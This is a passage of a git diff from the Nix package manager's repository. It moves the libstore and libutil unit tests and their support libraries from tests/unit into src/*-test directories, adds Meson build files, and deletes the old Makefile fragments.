tests/unit/libstore/data/store-reference/auto.txt rename to src/libstore-test/data/store-reference/auto.txt diff --git a/tests/unit/libstore/data/store-reference/auto_param.txt b/src/libstore-test/data/store-reference/auto_param.txt similarity index 100% rename from tests/unit/libstore/data/store-reference/auto_param.txt rename to src/libstore-test/data/store-reference/auto_param.txt diff --git a/tests/unit/libstore/data/store-reference/local_1.txt b/src/libstore-test/data/store-reference/local_1.txt similarity index 100% rename from tests/unit/libstore/data/store-reference/local_1.txt rename to src/libstore-test/data/store-reference/local_1.txt diff --git a/tests/unit/libstore/data/store-reference/local_2.txt b/src/libstore-test/data/store-reference/local_2.txt similarity index 100% rename from tests/unit/libstore/data/store-reference/local_2.txt rename to src/libstore-test/data/store-reference/local_2.txt diff --git a/tests/unit/libstore/data/store-reference/local_shorthand_1.txt b/src/libstore-test/data/store-reference/local_shorthand_1.txt similarity index 100% rename from tests/unit/libstore/data/store-reference/local_shorthand_1.txt rename to src/libstore-test/data/store-reference/local_shorthand_1.txt diff --git a/tests/unit/libstore/data/store-reference/local_shorthand_2.txt b/src/libstore-test/data/store-reference/local_shorthand_2.txt similarity index 100% rename from tests/unit/libstore/data/store-reference/local_shorthand_2.txt rename to src/libstore-test/data/store-reference/local_shorthand_2.txt diff --git a/tests/unit/libstore/data/store-reference/ssh.txt b/src/libstore-test/data/store-reference/ssh.txt similarity index 100% rename from tests/unit/libstore/data/store-reference/ssh.txt rename to src/libstore-test/data/store-reference/ssh.txt diff --git a/tests/unit/libstore/data/store-reference/unix.txt b/src/libstore-test/data/store-reference/unix.txt similarity index 100% rename from tests/unit/libstore/data/store-reference/unix.txt rename to src/libstore-test/data/store-reference/unix.txt diff --git a/tests/unit/libstore/data/store-reference/unix_shorthand.txt b/src/libstore-test/data/store-reference/unix_shorthand.txt similarity index 100% rename from tests/unit/libstore/data/store-reference/unix_shorthand.txt rename to src/libstore-test/data/store-reference/unix_shorthand.txt diff --git a/tests/unit/libstore/data/worker-protocol/build-mode.bin b/src/libstore-test/data/worker-protocol/build-mode.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/build-mode.bin rename to src/libstore-test/data/worker-protocol/build-mode.bin diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.27.bin b/src/libstore-test/data/worker-protocol/build-result-1.27.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/build-result-1.27.bin rename to src/libstore-test/data/worker-protocol/build-result-1.27.bin diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.28.bin b/src/libstore-test/data/worker-protocol/build-result-1.28.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/build-result-1.28.bin rename to src/libstore-test/data/worker-protocol/build-result-1.28.bin diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.29.bin b/src/libstore-test/data/worker-protocol/build-result-1.29.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/build-result-1.29.bin rename to src/libstore-test/data/worker-protocol/build-result-1.29.bin diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.37.bin b/src/libstore-test/data/worker-protocol/build-result-1.37.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/build-result-1.37.bin rename to src/libstore-test/data/worker-protocol/build-result-1.37.bin diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin b/src/libstore-test/data/worker-protocol/client-handshake-info_1_30.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin rename to src/libstore-test/data/worker-protocol/client-handshake-info_1_30.bin diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin b/src/libstore-test/data/worker-protocol/client-handshake-info_1_33.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin rename to src/libstore-test/data/worker-protocol/client-handshake-info_1_33.bin diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin b/src/libstore-test/data/worker-protocol/client-handshake-info_1_35.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin rename to src/libstore-test/data/worker-protocol/client-handshake-info_1_35.bin diff --git a/tests/unit/libstore/data/worker-protocol/content-address.bin b/src/libstore-test/data/worker-protocol/content-address.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/content-address.bin rename to src/libstore-test/data/worker-protocol/content-address.bin diff --git a/tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin b/src/libstore-test/data/worker-protocol/derived-path-1.29.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin rename to src/libstore-test/data/worker-protocol/derived-path-1.29.bin diff --git a/tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin b/src/libstore-test/data/worker-protocol/derived-path-1.30.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin rename to src/libstore-test/data/worker-protocol/derived-path-1.30.bin diff --git a/tests/unit/libstore/data/worker-protocol/drv-output.bin b/src/libstore-test/data/worker-protocol/drv-output.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/drv-output.bin rename to src/libstore-test/data/worker-protocol/drv-output.bin diff --git a/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin b/src/libstore-test/data/worker-protocol/handshake-to-client.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/handshake-to-client.bin rename to src/libstore-test/data/worker-protocol/handshake-to-client.bin diff --git a/tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin b/src/libstore-test/data/worker-protocol/keyed-build-result-1.29.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin rename to src/libstore-test/data/worker-protocol/keyed-build-result-1.29.bin diff --git a/tests/unit/libstore/data/worker-protocol/optional-content-address.bin b/src/libstore-test/data/worker-protocol/optional-content-address.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/optional-content-address.bin rename to src/libstore-test/data/worker-protocol/optional-content-address.bin diff --git a/tests/unit/libstore/data/worker-protocol/optional-store-path.bin b/src/libstore-test/data/worker-protocol/optional-store-path.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/optional-store-path.bin rename to src/libstore-test/data/worker-protocol/optional-store-path.bin diff --git a/tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin b/src/libstore-test/data/worker-protocol/optional-trusted-flag.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin rename to src/libstore-test/data/worker-protocol/optional-trusted-flag.bin diff --git a/tests/unit/libstore/data/worker-protocol/realisation.bin b/src/libstore-test/data/worker-protocol/realisation.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/realisation.bin rename to src/libstore-test/data/worker-protocol/realisation.bin diff --git a/tests/unit/libstore/data/worker-protocol/set.bin b/src/libstore-test/data/worker-protocol/set.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/set.bin rename to src/libstore-test/data/worker-protocol/set.bin diff --git a/tests/unit/libstore/data/worker-protocol/store-path.bin b/src/libstore-test/data/worker-protocol/store-path.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/store-path.bin rename to src/libstore-test/data/worker-protocol/store-path.bin diff --git a/tests/unit/libstore/data/worker-protocol/string.bin b/src/libstore-test/data/worker-protocol/string.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/string.bin rename to src/libstore-test/data/worker-protocol/string.bin diff --git a/tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin b/src/libstore-test/data/worker-protocol/unkeyed-valid-path-info-1.15.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin rename to src/libstore-test/data/worker-protocol/unkeyed-valid-path-info-1.15.bin diff --git a/tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin b/src/libstore-test/data/worker-protocol/valid-path-info-1.15.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin rename to src/libstore-test/data/worker-protocol/valid-path-info-1.15.bin diff --git a/tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin b/src/libstore-test/data/worker-protocol/valid-path-info-1.16.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin rename to src/libstore-test/data/worker-protocol/valid-path-info-1.16.bin diff --git a/tests/unit/libstore/data/worker-protocol/vector.bin b/src/libstore-test/data/worker-protocol/vector.bin similarity index 100% rename from tests/unit/libstore/data/worker-protocol/vector.bin rename to src/libstore-test/data/worker-protocol/vector.bin diff --git a/tests/unit/libstore/derivation-advanced-attrs.cc b/src/libstore-test/derivation-advanced-attrs.cc similarity index 100% rename from tests/unit/libstore/derivation-advanced-attrs.cc rename to src/libstore-test/derivation-advanced-attrs.cc diff --git a/tests/unit/libstore/derivation.cc b/src/libstore-test/derivation.cc similarity index 100% rename from tests/unit/libstore/derivation.cc rename to src/libstore-test/derivation.cc diff --git a/tests/unit/libstore/derived-path.cc b/src/libstore-test/derived-path.cc similarity index 100% rename from tests/unit/libstore/derived-path.cc rename to src/libstore-test/derived-path.cc diff --git a/tests/unit/libstore/downstream-placeholder.cc b/src/libstore-test/downstream-placeholder.cc similarity index 100% rename from tests/unit/libstore/downstream-placeholder.cc rename to src/libstore-test/downstream-placeholder.cc diff --git a/tests/unit/libstore/machines.cc b/src/libstore-test/machines.cc similarity index 100% rename from tests/unit/libstore/machines.cc rename to src/libstore-test/machines.cc diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build new file mode 100644 index 000000000..83d3244d4 --- /dev/null +++ b/src/libstore-test/meson.build @@ -0,0 +1,123 @@ +project('nix-store-test', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_private_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-util-c'), + dependency('nix-util-test-support'), + dependency('nix-store'), + dependency('nix-store-c'), + dependency('nix-store-test-support'), +] + if nix_dep.type_name() == 'internal' + deps_private_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_private += nix_dep + endif +endforeach + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +rapidcheck = dependency('rapidcheck') +deps_private += rapidcheck + +gtest = dependency('gtest', main : true) +deps_private += gtest + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-util.h', + '-include', 'config-store.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'common-protocol.cc', + 'content-address.cc', + 'derivation-advanced-attrs.cc', + 'derivation.cc', + 'derived-path.cc', + 'downstream-placeholder.cc', + 'machines.cc', + 'nar-info-disk-cache.cc', + 'nar-info.cc', + 'nix_api_store.cc', + 'outputs-spec.cc', + 'path-info.cc', + 'path.cc', + 'references.cc', + 'serve-protocol.cc', + 'store-reference.cc', + 'worker-protocol.cc', +) + +include_dirs = [include_directories('.')] + + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + # TODO: -lrapidcheck, see ../libutil-support/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + # get main from gtest + install : true, +) + +test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_exe, + compile_args : ['-std=c++2a'], +)) diff --git a/tests/unit/libstore/nar-info-disk-cache.cc b/src/libstore-test/nar-info-disk-cache.cc similarity index 100% rename from tests/unit/libstore/nar-info-disk-cache.cc rename to src/libstore-test/nar-info-disk-cache.cc diff --git a/tests/unit/libstore/nar-info.cc b/src/libstore-test/nar-info.cc similarity index 100% rename from tests/unit/libstore/nar-info.cc rename to src/libstore-test/nar-info.cc diff --git a/tests/unit/libstore/nix_api_store.cc b/src/libstore-test/nix_api_store.cc similarity index 100% rename from tests/unit/libstore/nix_api_store.cc rename to src/libstore-test/nix_api_store.cc diff --git a/tests/unit/libstore/outputs-spec.cc b/src/libstore-test/outputs-spec.cc similarity index 100% rename from tests/unit/libstore/outputs-spec.cc rename to src/libstore-test/outputs-spec.cc diff --git a/tests/unit/libstore/path-info.cc b/src/libstore-test/path-info.cc similarity index 100% rename from tests/unit/libstore/path-info.cc rename to src/libstore-test/path-info.cc diff --git a/tests/unit/libstore/path.cc b/src/libstore-test/path.cc similarity index 100% rename from tests/unit/libstore/path.cc rename to src/libstore-test/path.cc diff --git a/tests/unit/libstore/references.cc b/src/libstore-test/references.cc similarity index 100% rename from tests/unit/libstore/references.cc rename to src/libstore-test/references.cc diff --git a/tests/unit/libstore/serve-protocol.cc b/src/libstore-test/serve-protocol.cc similarity index 100% rename from tests/unit/libstore/serve-protocol.cc rename to src/libstore-test/serve-protocol.cc diff --git a/tests/unit/libstore/store-reference.cc b/src/libstore-test/store-reference.cc similarity index 100% rename from tests/unit/libstore/store-reference.cc rename to src/libstore-test/store-reference.cc diff --git a/tests/unit/libstore/worker-protocol.cc b/src/libstore-test/worker-protocol.cc similarity index 100% rename from tests/unit/libstore/worker-protocol.cc rename to src/libstore-test/worker-protocol.cc diff --git a/src/libutil-test b/src/libutil-test deleted file mode 120000 index 62c86f54b..000000000 --- a/src/libutil-test +++ /dev/null @@ -1 +0,0 @@ -../tests/unit/libutil/ \ No newline at end of file diff --git a/src/libutil-test-support b/src/libutil-test-support deleted file mode 120000 index f7da46d4c..000000000 --- a/src/libutil-test-support +++ /dev/null @@ -1 +0,0 @@ -../tests/unit/libutil-support/ \ No newline at end of file diff --git a/src/libutil-test-support/.version b/src/libutil-test-support/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libutil-test-support/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/tests/unit/libutil-support/meson.build b/src/libutil-test-support/meson.build similarity index 95% rename from tests/unit/libutil-support/meson.build rename to src/libutil-test-support/meson.build index d5ee8eed7..4a8f8b54e 100644 --- a/tests/unit/libutil-support/meson.build +++ b/src/libutil-test-support/meson.build @@ -42,6 +42,9 @@ rapidcheck = dependency('rapidcheck') deps_public += rapidcheck add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', '-Wno-deprecated-declarations', '-Wimplicit-fallthrough', '-Werror=switch', diff --git a/tests/unit/libutil-support/package.nix b/src/libutil-test-support/package.nix similarity index 100% rename from tests/unit/libutil-support/package.nix rename to src/libutil-test-support/package.nix diff --git a/tests/unit/libutil-support/tests/characterization.hh b/src/libutil-test-support/tests/characterization.hh similarity index 100% rename from tests/unit/libutil-support/tests/characterization.hh rename to src/libutil-test-support/tests/characterization.hh diff --git a/tests/unit/libutil-support/tests/hash.cc b/src/libutil-test-support/tests/hash.cc similarity index 100% rename from tests/unit/libutil-support/tests/hash.cc rename to src/libutil-test-support/tests/hash.cc diff --git a/tests/unit/libutil-support/tests/hash.hh b/src/libutil-test-support/tests/hash.hh similarity index 100% rename from tests/unit/libutil-support/tests/hash.hh rename to src/libutil-test-support/tests/hash.hh diff --git a/tests/unit/libutil-support/tests/nix_api_util.hh b/src/libutil-test-support/tests/nix_api_util.hh similarity index 100% rename from tests/unit/libutil-support/tests/nix_api_util.hh rename to src/libutil-test-support/tests/nix_api_util.hh diff --git a/tests/unit/libutil-support/tests/string_callback.cc b/src/libutil-test-support/tests/string_callback.cc similarity index 100% rename from tests/unit/libutil-support/tests/string_callback.cc rename to src/libutil-test-support/tests/string_callback.cc diff --git a/tests/unit/libutil-support/tests/string_callback.hh b/src/libutil-test-support/tests/string_callback.hh similarity index 100% rename from tests/unit/libutil-support/tests/string_callback.hh rename to src/libutil-test-support/tests/string_callback.hh diff --git a/src/libutil-test/.version b/src/libutil-test/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libutil-test/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/tests/unit/libutil/args.cc b/src/libutil-test/args.cc similarity index 100% rename from tests/unit/libutil/args.cc rename to src/libutil-test/args.cc diff --git a/tests/unit/libutil/canon-path.cc b/src/libutil-test/canon-path.cc similarity index 100% rename from tests/unit/libutil/canon-path.cc rename to src/libutil-test/canon-path.cc diff --git a/tests/unit/libutil/chunked-vector.cc b/src/libutil-test/chunked-vector.cc similarity index 100% rename from tests/unit/libutil/chunked-vector.cc rename to src/libutil-test/chunked-vector.cc diff --git a/tests/unit/libutil/closure.cc b/src/libutil-test/closure.cc similarity index 100% rename from tests/unit/libutil/closure.cc rename to src/libutil-test/closure.cc diff --git a/tests/unit/libutil/compression.cc b/src/libutil-test/compression.cc similarity index 100% rename from tests/unit/libutil/compression.cc rename to src/libutil-test/compression.cc diff --git a/tests/unit/libutil/config.cc b/src/libutil-test/config.cc similarity index 100% rename from tests/unit/libutil/config.cc rename to src/libutil-test/config.cc diff --git a/tests/unit/libutil/data/git/check-data.sh b/src/libutil-test/data/git/check-data.sh similarity index 100% rename from tests/unit/libutil/data/git/check-data.sh rename to src/libutil-test/data/git/check-data.sh diff --git a/tests/unit/libutil/data/git/hello-world-blob.bin b/src/libutil-test/data/git/hello-world-blob.bin similarity index 100% rename from tests/unit/libutil/data/git/hello-world-blob.bin rename to src/libutil-test/data/git/hello-world-blob.bin diff --git a/tests/unit/libutil/data/git/hello-world.bin b/src/libutil-test/data/git/hello-world.bin similarity index 100% rename from tests/unit/libutil/data/git/hello-world.bin rename to src/libutil-test/data/git/hello-world.bin diff --git a/tests/unit/libutil/data/git/tree.bin b/src/libutil-test/data/git/tree.bin similarity index 100% rename from tests/unit/libutil/data/git/tree.bin rename to src/libutil-test/data/git/tree.bin diff --git a/tests/unit/libutil/data/git/tree.txt b/src/libutil-test/data/git/tree.txt similarity index 100% rename from tests/unit/libutil/data/git/tree.txt rename to src/libutil-test/data/git/tree.txt diff --git a/tests/unit/libutil/file-content-address.cc b/src/libutil-test/file-content-address.cc similarity index 100% rename from tests/unit/libutil/file-content-address.cc rename to src/libutil-test/file-content-address.cc diff --git a/tests/unit/libutil/git.cc b/src/libutil-test/git.cc similarity index 99% rename from tests/unit/libutil/git.cc rename to src/libutil-test/git.cc index ff934c117..7c360d7c5 100644 --- a/tests/unit/libutil/git.cc +++ b/src/libutil-test/git.cc @@ -88,7 +88,7 @@ TEST_F(GitTest, blob_write) { /** * This data is for "shallow" tree tests. However, we use "real" hashes * so that we can check our test data in a small shell script test test - * (`tests/unit/libutil/data/git/check-data.sh`). + * (`src/libutil-test/data/git/check-data.sh`). */ const static Tree tree = { { diff --git a/tests/unit/libutil/hash.cc b/src/libutil-test/hash.cc similarity index 100% rename from tests/unit/libutil/hash.cc rename to src/libutil-test/hash.cc diff --git a/tests/unit/libutil/hilite.cc b/src/libutil-test/hilite.cc similarity index 100% rename from tests/unit/libutil/hilite.cc rename to src/libutil-test/hilite.cc diff --git a/tests/unit/libutil/json-utils.cc b/src/libutil-test/json-utils.cc similarity index 100% rename from tests/unit/libutil/json-utils.cc rename to src/libutil-test/json-utils.cc diff --git a/tests/unit/libutil/logging.cc b/src/libutil-test/logging.cc similarity index 100% rename from tests/unit/libutil/logging.cc rename to src/libutil-test/logging.cc diff --git a/tests/unit/libutil/lru-cache.cc b/src/libutil-test/lru-cache.cc similarity index 100% rename from tests/unit/libutil/lru-cache.cc rename to src/libutil-test/lru-cache.cc diff --git a/tests/unit/libutil/meson.build b/src/libutil-test/meson.build similarity index 88% rename from tests/unit/libutil/meson.build rename to src/libutil-test/meson.build index 3f6e0fe65..c3d72b976 100644 --- a/tests/unit/libutil/meson.build +++ b/src/libutil-test/meson.build @@ -23,11 +23,6 @@ deps_private_subproject = [ ] # See note in ../nix-util/meson.build deps_other = [ ] -configdata = configuration_data() - -# TODO rename, because it will conflict with downstream projects -configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) - foreach nix_dep : [ dependency('nix-util'), dependency('nix-util-c'), @@ -60,15 +55,11 @@ deps_private += rapidcheck gtest = dependency('gtest', main : true) deps_private += gtest -config_h = configure_file( - configuration : configdata, - output : 'config-util-test.h', -) - add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. - '-include', 'config-util-test.h', + '-include', 'config-util.hh', + '-include', 'config-util.h', '-Wno-deprecated-declarations', '-Wimplicit-fallthrough', '-Werror=switch', @@ -113,7 +104,7 @@ include_dirs = [include_directories('.')] this_exe = executable( - 'nix-util-test', + meson.project_name(), sources, dependencies : deps_private_subproject + deps_private + deps_other, include_directories : include_dirs, @@ -123,7 +114,7 @@ this_exe = executable( install : true, ) -test('nix-util-test', this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) +test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) meson.override_dependency(meson.project_name(), declare_dependency( include_directories : include_dirs, diff --git a/tests/unit/libutil/nix_api_util.cc b/src/libutil-test/nix_api_util.cc similarity index 100% rename from tests/unit/libutil/nix_api_util.cc rename to src/libutil-test/nix_api_util.cc diff --git a/tests/unit/libutil/package.nix b/src/libutil-test/package.nix similarity index 100% rename from tests/unit/libutil/package.nix rename to src/libutil-test/package.nix diff --git a/tests/unit/libutil/pool.cc b/src/libutil-test/pool.cc similarity index 100% rename from tests/unit/libutil/pool.cc rename to src/libutil-test/pool.cc diff --git a/tests/unit/libutil/references.cc b/src/libutil-test/references.cc similarity index 100% rename from tests/unit/libutil/references.cc rename to src/libutil-test/references.cc diff --git a/tests/unit/libutil/spawn.cc b/src/libutil-test/spawn.cc similarity index 100% rename from tests/unit/libutil/spawn.cc rename to src/libutil-test/spawn.cc diff --git a/tests/unit/libutil/suggestions.cc b/src/libutil-test/suggestions.cc similarity index 100% rename from tests/unit/libutil/suggestions.cc rename to src/libutil-test/suggestions.cc diff --git a/tests/unit/libutil/tests.cc b/src/libutil-test/tests.cc similarity index 100% rename from tests/unit/libutil/tests.cc rename to src/libutil-test/tests.cc diff --git a/tests/unit/libutil/url.cc b/src/libutil-test/url.cc similarity index 100% rename from tests/unit/libutil/url.cc rename to src/libutil-test/url.cc diff --git a/tests/unit/libutil/xml-writer.cc b/src/libutil-test/xml-writer.cc similarity index 100% rename from tests/unit/libutil/xml-writer.cc rename to src/libutil-test/xml-writer.cc diff --git a/tests/unit/libexpr-support/local.mk b/tests/unit/libexpr-support/local.mk deleted file mode 100644 index 0501de33c..000000000 --- a/tests/unit/libexpr-support/local.mk +++ /dev/null @@ -1,23 +0,0 @@ -libraries += libexpr-test-support - -libexpr-test-support_NAME = libnixexpr-test-support - -libexpr-test-support_DIR := $(d) - -ifeq ($(INSTALL_UNIT_TESTS), yes) - libexpr-test-support_INSTALL_DIR := $(checklibdir) -else - libexpr-test-support_INSTALL_DIR := -endif - -libexpr-test-support_SOURCES := \ - $(wildcard $(d)/tests/*.cc) \ - $(wildcard $(d)/tests/value/*.cc) - -libexpr-test-support_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES) - -libexpr-test-support_LIBS = \ - libstore-test-support libutil-test-support \ - libexpr libstore libutil - -libexpr-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk deleted file mode 100644 index 1617e2823..000000000 --- a/tests/unit/libexpr/local.mk +++ /dev/null @@ -1,45 +0,0 @@ -check: libexpr-tests_RUN - -programs += libexpr-tests - -libexpr-tests_NAME := libnixexpr-tests - -libexpr-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libexpr-tests.xml - -libexpr-tests_DIR := $(d) - -ifeq ($(INSTALL_UNIT_TESTS), yes) - libexpr-tests_INSTALL_DIR := $(checkbindir) -else - libexpr-tests_INSTALL_DIR := -endif - -libexpr-tests_SOURCES := \ - $(wildcard $(d)/*.cc) \ - $(wildcard $(d)/value/*.cc) \ - $(wildcard $(d)/flake/*.cc) - -libexpr-tests_EXTRA_INCLUDES = \ - -I tests/unit/libexpr-support \ - -I tests/unit/libstore-support \ - -I tests/unit/libutil-support \ - $(INCLUDE_libexpr) \ - $(INCLUDE_libexprc) \ - $(INCLUDE_libfetchers) \ - $(INCLUDE_libstore) \ - $(INCLUDE_libstorec) \ - $(INCLUDE_libutil) \ - $(INCLUDE_libutilc) - -libexpr-tests_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES) - -libexpr-tests_LIBS = \ - libexpr-test-support libstore-test-support libutil-test-support \ - libexpr libexprc libfetchers libstore libstorec libutil libutilc - -libexpr-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock - -ifdef HOST_WINDOWS - # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space - libexpr-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) -endif diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk deleted file mode 100644 index 286a59030..000000000 --- a/tests/unit/libfetchers/local.mk +++ /dev/null @@ -1,37 +0,0 @@ -check: libfetchers-tests_RUN - -programs += libfetchers-tests - -libfetchers-tests_NAME = libnixfetchers-tests - -libfetchers-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libfetchers-tests.xml - -libfetchers-tests_DIR := $(d) - -ifeq ($(INSTALL_UNIT_TESTS), yes) - libfetchers-tests_INSTALL_DIR := $(checkbindir) -else - libfetchers-tests_INSTALL_DIR := -endif - -libfetchers-tests_SOURCES := $(wildcard $(d)/*.cc) - -libfetchers-tests_EXTRA_INCLUDES = \ - -I tests/unit/libstore-support \ - -I tests/unit/libutil-support \ - $(INCLUDE_libfetchers) \ - $(INCLUDE_libstore) \ - $(INCLUDE_libutil) - -libfetchers-tests_CXXFLAGS += $(libfetchers-tests_EXTRA_INCLUDES) - -libfetchers-tests_LIBS = \ - libstore-test-support libutil-test-support \ - libfetchers libstore libutil - -libfetchers-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) - -ifdef HOST_WINDOWS - # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space - libfetchers-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) -endif diff --git a/tests/unit/libflake/local.mk b/tests/unit/libflake/local.mk deleted file mode 100644 index 590bcf7c0..000000000 --- a/tests/unit/libflake/local.mk +++ /dev/null @@ -1,43 +0,0 @@ -check: libflake-tests_RUN - -programs += libflake-tests - -libflake-tests_NAME := libnixflake-tests - -libflake-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libflake-tests.xml - -libflake-tests_DIR := $(d) - -ifeq ($(INSTALL_UNIT_TESTS), yes) - libflake-tests_INSTALL_DIR := $(checkbindir) -else - libflake-tests_INSTALL_DIR := -endif - -libflake-tests_SOURCES := \ - $(wildcard $(d)/*.cc) \ - $(wildcard $(d)/value/*.cc) \ - $(wildcard $(d)/flake/*.cc) - -libflake-tests_EXTRA_INCLUDES = \ - -I tests/unit/libflake-support \ - -I tests/unit/libstore-support \ - -I tests/unit/libutil-support \ - $(INCLUDE_libflake) \ - $(INCLUDE_libexpr) \ - $(INCLUDE_libfetchers) \ - $(INCLUDE_libstore) \ - $(INCLUDE_libutil) \ - -libflake-tests_CXXFLAGS += $(libflake-tests_EXTRA_INCLUDES) - -libflake-tests_LIBS = \ - libexpr-test-support libstore-test-support libutil-test-support \ - libflake libexpr libfetchers libstore libutil - -libflake-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock - -ifdef HOST_WINDOWS - # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space - libflake-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) -endif diff --git a/tests/unit/libstore-support/local.mk b/tests/unit/libstore-support/local.mk deleted file mode 100644 index 56dedd825..000000000 --- a/tests/unit/libstore-support/local.mk +++ /dev/null @@ -1,21 +0,0 @@ -libraries += libstore-test-support - -libstore-test-support_NAME = libnixstore-test-support - -libstore-test-support_DIR := $(d) - -ifeq ($(INSTALL_UNIT_TESTS), yes) - libstore-test-support_INSTALL_DIR := $(checklibdir) -else - libstore-test-support_INSTALL_DIR := -endif - -libstore-test-support_SOURCES := $(wildcard $(d)/tests/*.cc) - -libstore-test-support_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES) - -libstore-test-support_LIBS = \ - libutil-test-support \ - libstore libutil - 